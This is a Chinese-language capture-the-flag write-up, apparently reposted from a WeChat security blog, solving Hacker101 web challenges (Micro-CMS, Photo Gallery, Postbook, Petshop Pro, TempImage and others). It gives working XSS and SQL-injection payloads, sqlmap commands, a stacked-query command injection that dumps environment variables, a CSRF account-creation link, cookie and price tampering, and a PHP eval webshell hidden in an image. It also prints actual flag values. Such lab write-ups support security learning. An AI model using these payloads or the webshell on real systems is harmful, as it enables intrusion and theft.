A little something to get you started
一个基础题
题目页面啥也没有
Cturl+u查看源码
!
发现有一张图片,访问一下这个路径
就得到了flag
Micro-CMS v1
flag0
这题写了有四个flag
题目有三个连接
先看Testing连接
里面有一个编辑页面,进入看看
看到这种留言板,编辑面这种编辑后可以保存在页面上的,其实大概率就是xss
漏洞了
我们先尝试最简单的xss语句,尝试在Title
处注入
因为Title
处写入的都会显示在主页,例如
之后返回home查看,123在主页中显示,所以如果存在xss漏洞就会在主页弹窗
先尝试最简单的注入
<script>alert(/xss/)</script>
提交后返回主页查看
成功弹出flag
flag1
刚刚是标题框存在xss,之后再看一下编辑框,用上面的poc尝试一下
<script>alert(/xss/)</script>
提交之后看返回的页面
发现</script>
标签被过滤了,尝试一下其他的标签
<img src=x onerror=alert(xss)>
提交之后发现有东西没显示出来
查看源码发现flag
flag2
访问其他页面时
这个路径会变化,猜测有其他的隐藏目录,用burp爆破一下
可以发现在路径为5的时候有flag
flag3
题目说尝试所有的注入,那么尝试一下sql
注入
加单引号测试,出现flag
Micro-CMS v2
flag0
题目页面和上一题相同,不同的是点进去出现的是登录框
先尝试一下弱口令
admin
admin
发现是没有这个用户名,再利用sql语句试一下
admin' or 1=1 --
发现用户名被认为是true,所以存在sql注入漏洞
之后尝试构造一个虚拟的密码
admin' union select '111' as password --
这样就可以用密码111登录了
成功登录
在Private Page中找到flag
flag1
跟上一题一样创建一个新的页面,在这个页面中也有xss漏洞,但不会出现flag了
我们随便输一点抓包看一下
看到有cookie,可以用jwt解一下
但我们是伪造admin登录的,没有真正的admin权限,可以吧Cookie删除看看会发生什么
成功拿到了flag,这也说明成功越权
flag2
sql盲注,可以直接用sqlmap梭出来
将抓包抓到的数据保存到1.txt中
python3 sqlmap.py -r 1.txt
Photo Gallery
flag0
打开题目查看源码发现id
参数
猜测是sql注入,只用用sqlmap跑出来第一个flag
python3 sqlmap.py -u https://a26281899f672b6d81e5f0f77eeb0db6.ctf.hacker101.com/fetch?id=1 -D level5 -T photos -dump
flag1
再看数据库中的信息
当你访问id=1
时会访问到files/adorable.jpg
,当访问id=2
时会访问到files/purrfect.jpg
,那么当访问id=5
就会啥也没有,但因为存在sql注入漏洞,那我们就可以伪造数组去访问id=2
或id=1
的jpg
https://a26281899f672b6d81e5f0f77eeb0db6.ctf.hacker101.com/fetch?id=5 union select 'files/adorable.jpg' #
成功伪造,那我们就可以伪造数据去读取一些内置文件
但可能是因为一些过滤或者其他原因读不出来
https://a26281899f672b6d81e5f0f77eeb0db6.ctf.hacker101.com/fetch?id=5 union select '../../../etc/password' #
看提示他说的是
既然是flask框架,我们可以尝试读取一下app.py
,或者main.py
经过尝试可以读出main,py
https://a26281899f672b6d81e5f0f77eeb0db6.ctf.hacker101.com/fetch?id=5 union select 'main.py' #
找到第二个flag
flag2
可以查看源码把源码复制下来审计一下
重点在这里
如果我们可以控制fns
中的项fn,就可以命令执行例如
fns=["xx || ls"]
再看这里
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
fns = []
for pid, ptitle, pfn in cur.fetchall():
rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
fns.append(pfn)
我们可以得知列表fns的项来自表photos中filename,而所以如果我们能够控制表photos中的filename就能最终进行代码注入
def fetch():
cur = getDb().cursor()
if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
abort(404)
# It's dangerous to go alone, take this:
# ^FLAG^81d50e273378c6d53f9fd960a9d8ed55d8fe6051af0162cc9423ba2f16e2920e$FLAG$
return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()
这里存在SQL注入。如果execute函数支持sql堆叠查询,我们不就可以控制表photos中的数据了么
之后我们测试一下
https://a26281899f672b6d81e5f0f77eeb0db6.ctf.hacker101.com/fetch?id=1;update photos set title='test' where id=1;commit;--
返回主页看一下
构造pyload即可,flag在环境变量中
最终pyload
/fetch?id=1;update photos set filename"xx ||env|tr -t 'n' ':'" where id=1;commit;--
Cody's First Blog
flag0
打开题目发现有一个提交框
测试xss无果,但发现可以识别php头,可以直接得到flag
<?php phpinfo()?>
flag1
查看源码发现参数?page
访问得到登录页面
将url中page的参数中auth删掉,可以得到第二个flag
https://aa7fd2b6a6b7f1745ba350528c6fb8a9.ctf.hacker101.com/?page=admin.inc
postbook
flag0
进入登录页面尝试弱口令
username: user
password: password
得到第一个flag
flag1
随便点点,发现id参数变化
在id=2
的地方找到了第二个flag
flag2
将id改的很大也可以得到第三个flag
flag3
在new post页面有一个隐藏的user_id=2
,将他改成1可以作为admin
发布
可以得到第四个flag
flag4
在Edit post中将id改为1保存可以得到第五个flag
flag5
抓包看一下
发现cookie的id像是一个md5
可以用网站查一下https://www.cmd5.com/
是2如果我们改成1会怎样
将1加密
放到cookie中
得到第六个flag
flag6
在删除帖子的地方也有MD5修改一下得到最后一个flag
Ticketastic: Live Instance
flag0
一个登录框,但没有密码,经过尝试发现在这里唯一可以做的就是提交工单。有csrf漏洞可以帮助创建一个新帐户。
https://localhost/newUser?username=test&password=test&password2=test
因此,只需提交包含以下内容的工单即可。
<a href="http://localhost/newUser?username=test&password=test&password2=test">TEST</a>
之后用
test
test
就可以成功登录
拿到flag
Petshop Pro
flag0
在购买页面处抓包
得到一个cart
参数将他url解码
cart=[[1, {"logo": "puppy.jpg", "price": 7.95, "name": "Puppy", "desc": "8"x10" color glossy photograph of a puppy."}]]
吧7.95改成0后再url加密再传进去
cart=%5B%5B1%2C+%7B%22logo%22%3A+%22puppy.jpg%22%2C+%22price%22%3A+0%2C+%22name%22%3A+%22Puppy%22%2C+%22desc%22%3A+%228%5C%22x10%5C%22+color+glossy+photograph+of+a+puppy.%22%7D%5D%5D
得到第一个flag
flag1
用dirsearch
扫一下目录,发现有一个登录页面
用弱口令尝试,登录成功拿到第二个flag
username=verla
password=jester
flag2
登录后有一个xss漏洞
<img src=x onerror=alert(1)>
跳转后拿到第三个flag
TempImage
flag0
进入是一个文件上传的页面,随便上传一个php文件,然后在burp中修改文件类型,让它报错就出现flag了
改为
发包就可以得到flag了
flag1
制作图片马可以getshell获取第二个flag
copy img.png/b + webshell.php shell.png
在webshell.php
中放入
<?php @eval($_POST['hacker1'])?>
之后随便找一个图片img.png
将他俩放到图一目录下运行
copy img.png/b + webshell.php shell.png
会生成一个图片马shell.png
上传
在burp中修改文件类型
Content-Disposition: form-data; name="filename"
/../../shell.php
之后访问shell.php
就可以getshell了
flag在index.php
中点关注,不迷路
原文始发于微信公众号(New Power安全团队):【CTF从0到1】hacker101-CTF WP 第一期
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论